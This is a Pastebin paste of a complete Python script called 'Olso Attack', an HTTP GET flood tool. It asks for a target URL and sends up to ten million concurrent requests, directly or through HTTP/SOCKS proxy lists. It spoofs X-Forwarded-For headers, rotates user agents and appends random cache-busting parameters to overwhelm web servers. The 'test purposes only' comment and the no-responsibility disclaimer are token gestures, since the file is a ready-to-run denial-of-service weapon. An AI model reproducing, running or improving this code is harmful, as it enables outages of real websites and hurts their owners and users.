Advertisement
D3vBl4ck

Olso Attack [GET FLOOD]

Jul 17th, 2020
17,083
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 10.74 KB | None | 0 0
  1. #!/usr/bin/env python3
  2. # for test purposes only, don't be a kiddie ^^
  3. # Code by d3vbl4ck soon more ^^
  4. # How to use? https://github.com/devblack/OlsoAttack
  5. from random import randint, choice, sample
  6. from urllib.parse import urlparse
  7. from aiohttp import ClientSession, TCPConnector, ClientConnectorError, ClientProxyConnectionError
  8. from asyncio import ensure_future, run, get_event_loop, Semaphore, wait
  9. from aiosocks.connector import ProxyConnector, ProxyClientRequest
  10. from aiosocks import SocksError
  11.  
  12.  
  13. class Options:
  14.     url = ""
  15.     host = ""
  16.     vector = ""
  17.     v_type = ""
  18.     threads = 0
  19.     ua = [
  20.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1",
  21.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1",
  22.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10",
  23.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
  24.         "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/528.16 (KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0",
  25.         "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7;en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17",
  26.         "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.302.2 Safari/532.8",
  27.         "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5",
  28.         "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
  29.         "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3",
  30.     ]
  31.     yokais = []
  32.     reset = '\033[0m'
  33.     green = '\033[32;1m'
  34.     blue = '\033[34;1m'
  35.     red = '\033[31;1m'
  36.     cyan = '\033[36;1m'
  37.     banner = '''
  38.                                       ,----------------,               ,---------,
  39.                                  ,-----------------------,           ,'        ,'|
  40.                                ,'                       ,'|        ,'        ,'  |
  41.                                +-----------------------+  |      ,'        ,'    |
  42.                                |  .-----------------.  |  |     +---------+      |
  43.                                |  |                 |  |  |     | -==----'|      |
  44.                                |  |  > \033[31;1m0l$0 Attack♥\033[0m |  |  |     |         |      |
  45.                                |  |  > cd \033[34;1mX\033[0m:        |  |  |/----|`---=    |      |
  46.                                |  |  \033[34;1mX\033[0m:\> \033[31;1m0L$0.PY\033[0m   |  |  |   ,/|==== ooo |      ;
  47.                                |  |                 |  |  |  // |(((( [33]|    ,'
  48.                                |  `-----------------'  |,' .;'| |((((     |  ,'
  49.                                +-----------------------+  ;;  | |         |,'
  50.                                  /_)______________(_/  //'    | +---------+
  51.                             ___________________________/___   `,
  52.                            /  oooooooooooooooo  .o.  oooo /,   \,'-----------,
  53.                           / ==ooooooooooooooo==.o.  ooo= //   ,`\--{)B     ,'
  54.                          /_==__==========__==_ooo__ooo=_/'   /___________,'
  55.  
  56.                                        \033[32;1mCoded by\033[0m \033[36;1m@d3vbl4ck\033[0m
  57.            '''
  58.  
  59.  
  60. class Functions:
  61.     @staticmethod
  62.     def Error(string, tp=0):
  63.         if tp == 1:
  64.             exit("\n{}[X] {}{}".format(Options.red, string, Options.reset))
  65.         else:
  66.             print("{}[X] {}{}".format(Options.red, string, Options.reset))
  67.  
  68.     @staticmethod
  69.     def Success(string):
  70.         print("{}[/] {} [/]{}".format(Options.green, string, Options.reset))
  71.  
  72.     @staticmethod
  73.     def CheckURL():
  74.         try:
  75.             p = urlparse(Options.url)
  76.             Options.host = p.netloc
  77.             return all([p.scheme, p.netloc, p.path])
  78.         except:
  79.             return False
  80.  
  81.     @staticmethod
  82.     def TypeExits():
  83.         if Options.v_type in ["direct", "http", "socks4", "socks5"]:
  84.             return True
  85.         else:
  86.             return False
  87.  
  88.     @staticmethod
  89.     def YokaiMode():
  90.         if Options.v_type in ["http", "socks4", "socks5"]:
  91.             return True
  92.         else:
  93.             return False
  94.  
  95.     @staticmethod
  96.     def FakeIP():
  97.         return "{}.{}.{}.{}:8080".format(*sample(range(0, 255), 4))
  98.  
  99.     @staticmethod
  100.     def Cache():
  101.         #rand
  102.         return "?q={}&s={}".format(randint(666, 96969), randint(666, 96969))
  103.  
  104.  
  105. class Form:
  106.     @staticmethod
  107.     def Target():
  108.         while True:
  109.             try:
  110.                 Options.url = input("> Target: ").lower()
  111.                 if Functions.CheckURL() == False:
  112.                     Functions.Error("Please enter a valid URL/HOST.")
  113.                 else:
  114.                     break
  115.             except (KeyboardInterrupt, EOFError):
  116.                 Functions.Error("Bye bye.", 1)
  117.  
  118.     @staticmethod
  119.     def Vector():
  120.         while True:
  121.             try:
  122.                 print('[?]\n  [-] => GET\n[?]')
  123.                 Options.vector = input("> Vector: ").lower()
  124.                 if Options.vector != "get":
  125.                     Functions.Error("Please enter a valid Vector.")
  126.                 else:
  127.                     break
  128.             except (KeyboardInterrupt, EOFError):
  129.                 Functions.Error("Bye bye.", 1)
  130.  
  131.     @staticmethod
  132.     def Type():
  133.         while True:
  134.             try:
  135.                 print('[?]\n  [-] => Direct\n  [-] => HTTP\n  [-] => SOCKS4\n  [-] => SOCKS5\n[?]')
  136.                 Options.v_type = input("> Vector Type: ").lower()
  137.                 if Functions.TypeExits() == False:
  138.                     Functions.Error("Please enter a valid Vector Type.")
  139.                 else:
  140.                     if Functions.YokaiMode() == True:
  141.                         f = open(input("> List[yokais.txt]: "))
  142.                         #remove repetitive ips list(dict.fromkeys(var))
  143.                         Options.yokais = f.read().splitlines()
  144.                         f.close()
  145.                     break
  146.             except IOError:
  147.                 Functions.Error("Error, try another list.")
  148.             except (KeyboardInterrupt, EOFError):
  149.                 Functions.Error("Bye bye.", 1)
  150.  
  151.     @staticmethod
  152.     def Threads():
  153.         while True:
  154.             try:
  155.                 Options.threads = int(input("> Threads[1000]: "))
  156.                 if Options.threads < 0:
  157.                     Options.threads = 1000
  158.                 else:
  159.                     break
  160.             except ValueError:
  161.                 Functions.Error("Please enter a valid number.")
  162.             except (KeyboardInterrupt, EOFError):
  163.                 Functions.Error("Bye bye.", 1)
  164.  
  165.     @staticmethod
  166.     def Validate():
  167.         Form.Target()
  168.         Form.Vector()
  169.         Form.Type()
  170.         Form.Threads()
  171.  
  172.  
  173. async def Yokai(session):
  174.     url = Options.url
  175.     header = {
  176.         'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
  177.         'Accept-Encoding': 'gzip, deflate, br',
  178.         'Accept-Language': 'en-US,en;',
  179.         'Cache-Control': 'public, max-age=0',
  180.         'Content-Encoding': 'deflate',
  181.         'Connection': 'keep-alive',
  182.         'Host': Options.host
  183.     }
  184.     tasks = []
  185.     sem = Semaphore(Options.threads)
  186.  
  187.     async def _call(i):
  188.         try:
  189.             kai = choice(Options.yokais)
  190.             header.update({
  191.                 "User-Agent": choice(Options.ua),
  192.                 "X-Forwarded-For": kai,
  193.             })
  194.             server = "{}://{}".format(Options.v_type, kai)
  195.             async with session.get(url=url + Functions.Cache(), allow_redirects=False, ssl=False, proxy=server, headers=header) as response:
  196.                 sem.release()
  197.                 if i % 1000 == 0:
  198.                     Functions.Success("Target: {} | Thread: {} | Status: {}".format(url, i, response.status))
  199.         except ClientProxyConnectionError:
  200.             Functions.Error("Proxy server connection reject.")
  201.         except ClientConnectorError:
  202.             Functions.Error("Fail to connect to target.")
  203.         except SocksError:
  204.             Functions.Error("Communication problem.")
  205.  
  206.     for i in range(1, 10000000+1):
  207.         await sem.acquire()
  208.         task = ensure_future(_call(i))
  209.         task.add_done_callback(tasks.remove)
  210.         tasks.append(task)
  211.  
  212.     await wait(tasks)
  213.     Functions.Success("Attack complete 10m of requests")
  214.  
  215. async def Direct(session):
  216.     url = Options.url
  217.     header = {
  218.         'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
  219.         'Accept-Encoding': 'gzip, deflate, br',
  220.         'Accept-Language': 'en-US,en;',
  221.         'Cache-Control': 'public, max-age=0',
  222.         'Content-Encoding': 'deflate',
  223.         'Connection': 'keep-alive',
  224.         'Host': Options.host
  225.     }
  226.     tasks = []
  227.     sem = Semaphore(Options.threads)
  228.  
  229.     async def _call(i):
  230.         try:
  231.             header.update({
  232.                 "User-Agent": choice(Options.ua),
  233.                 "X-Forwarded-For": Functions.FakeIP(),
  234.             })
  235.             async with session.get(url=url + Functions.Cache(), allow_redirects=False, ssl=False, headers=header) as response:
  236.                 sem.release()
  237.                 if i % 1000 == 0:
  238.                     Functions.Success("Target: {} | Thread: {} | Status: {}".format(url, i, response.status))
  239.         except ClientConnectorError:
  240.             Functions.Error("Fail to connect to target.")
  241.  
  242.     for i in range(1, 10000000+1):
  243.         await sem.acquire()
  244.         task = ensure_future(_call(i))
  245.         task.add_done_callback(tasks.remove)
  246.         tasks.append(task)
  247.  
  248.     await wait(tasks)
  249.     Functions.Success("Attack complete 10m of requests")
  250.  
  251.  
  252. async def Attack():
  253.     if Functions.YokaiMode() == True:
  254.         async with ClientSession(connector=ProxyConnector(remote_resolve=True), request_class=ProxyClientRequest) as session:
  255.             await ensure_future(Yokai(session))
  256.     else:
  257.         async with ClientSession(connector=TCPConnector(limit=None)) as session:
  258.             await ensure_future(Direct(session))
  259.  
  260.  
  261. def Console():
  262.     try:
  263.         print(Options.banner)
  264.         input("\n\tI'm not responsible for any consequence of the use of this tool, press ENTER to continue.")
  265.         Form.Validate()
  266.         loop = get_event_loop()
  267.         loop.run_until_complete(Attack())
  268.         loop.close()
  269.     except (KeyboardInterrupt, EOFError):
  270.         Functions.Error("Bye bye.", 1)
  271.  
  272.  
  273. if __name__ in '__main__':
  274.     Console()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement